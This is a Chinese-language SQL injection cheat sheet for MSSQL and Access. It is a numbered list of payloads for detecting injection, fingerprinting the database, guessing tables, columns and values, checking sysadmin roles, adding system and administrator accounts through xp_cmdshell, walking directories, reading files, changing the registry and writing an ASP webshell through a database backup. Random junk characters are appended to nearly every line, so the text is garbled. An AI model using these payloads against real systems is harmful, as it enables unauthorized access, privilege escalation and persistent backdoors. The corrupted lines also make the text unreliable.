1.判断是否有注入;and 1=1 ;and 1=2 fq(e~Aqw$
2.初步判断是否是mssql ;and user>0 "$)2|
&ke4":7X
3.注入参数是字符'and [查询条件] and ''=' ";~#epPkX
/[q@=X&
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,[~EThcq
l^_X?L@
5.判断数据库系统 g41LpplX
f,1rmX1
;and (select count(*) from sysobjects)>0 mssql 5Z:HCp-aG
>|s=l`"Xz
;and (select count(*) from msysobjects)>0 access j@DyWm/7
@sDd:>t
jK{MU) D+
!xvPG
6.猜数据库 ;and (select Count(*) from [数据库名])>0 >Cf`F{X'U
Jx}5`{\
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 GA|q[<U
SbZk{lWcq
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |qr[*c 3$1
, ^nUi c
9.(1)猜字段的ascii值(access)
p.%$
,9rT|:N
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 K.%E=^~q
H(AYtnvB
(2)猜字段的ascii值(mssql) 1>2397
``SjALf
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 &5a>5ZG}
V7^?jck
10.测试权限结构(mssql) YMWy5 \
+)Ty^;+[1
YT_kMy>
o _-t/
?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2vXMrh\
k\[2o
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 56)B/0=
iZ:-V8{
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- QIw.`$H+
aql*@8
)m
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1a'JNe$
&Ls0!dWC
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- RI`A<*>w
^R\blJQ<^
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4?&=H
*H:
OT [t
EqQ
;and 1=(select IS_MEMBER('db_owner'));-- /i"EVN`t
sq^,l6es>
bw4b'9cK
0'~?u '
11.添加mssql和系统的帐户 M$GD8|*e
Dn@ n:m
;exec master.dbo.sp_addlogin username;-- VcP#/&B|
;exec master.dbo.sp_password null,username,password;-- l9Vim9R5T
Ax\Fg
5
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- %cv%u6 b
ZLV~It&)
;exec master.dbo.xp_cmdshell 'net user username password R|vF*0)>W
H(X~=r
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Vs"Z9p$U
ks{s
Q@~
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \kRBJ1)|f
6y0C
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~}5(J,1!
wHCsEp(
8
jT"HZB6
LgaJp_d>9*
12.(1)遍历目录 Q-0[l/A}a
)dV.A IQ+
;create table dirs(paths varchar(100), id int) ?ix,Cu@M
<s:Xj
;insert dirs exec master.dbo.xp_dirtree 'c:\' HP8pEo0Y
O+yR+aXr'8
;and (select top 1 paths from dirs)>0 C{Zv.+F
2O
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) itvwmI,m\
rfZA21y{?
F7hQNQu:
0uvL,hF
(2)遍历目录 sPw(+m*C
jlB3BwG{w
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^KlOD_GN|
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 h~1QmEat
/t/q$X
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 &><`?
fx|9*|E
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ^?A+`1-
-Av/L>TxlI
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 :Y'nye3:
p[wjHfIq
3ty){#:
y5#_@
13.mssql中的存储过程 .3!4@l\9C
^J G}|v3$
xp_regenumvalues 注册表根键, 子键 ks;%f34
(y36NH+
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 V~wmGp.e
%Xi%LUk{
xp_regread 根键,子键,键值名 A1_x^s
#-W5$1
;exec xp_regread %{{#Q]]&
`=*svrmS
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 l ghzd6
; YRZg|Zw
xp_regwrite 根键,子键, 值名, 值类型, 值 83h3C EQ
v+OVZDf
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 jQDxbkIuzE
u2eqVrY
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 \Q$);:=qQ
gXQ)\MY
xp_regdeletevalue 根键,子键,值名 7%'<}u
ovohl<o\
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 PTP2QAt
D%A-& =
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }>w;
+XU
e'6?iLpy
..t=Y#
8a h]D
14.mssql的backup创建webshell r:IU+3
OTm`i>rB
use model r3kI'I|bq
RoTT%c P_
create table cmd(str image); )t4C*+9<U
phdN9<Z
insert into cmd(str) values (''); c1^3lgPv
p
c],H
backup database model to disk='c:\l.asp'; +D@R'$N
?,NAihN]
oW_WW$+N
(nzt}i0
15.mssql内置函数 x#^kv)
OrBFe *2y
;and (select @@version)>0 获得Windows的版本号 c>g%oE
W@tLT[}CG
;and user_name()='dbo' 判断当前系统的连接用户是不是sa :-Pj )Y{I
8M|Q^VeT,1
;and (select user_name())>0 爆当前系统的连接用户 ,aJrN!fzU
vEsSqzc
;and (select db_name())>0 得到当前连接的数据库 2R!W5gs1<
}FXRp=s
3XRG"
D6t]E)FH
16.简洁的webshell U`Zn*O~/
q~3&f
use model lySa Jd
NSq"\A\
create table cmd(str image); -AE/,@ \P
DXt^Ym5Cv
insert into cmd(str) values (''); 1<83MO;
2XtQ"`)
backup database model to disk='g:\wwwtest\l.asp';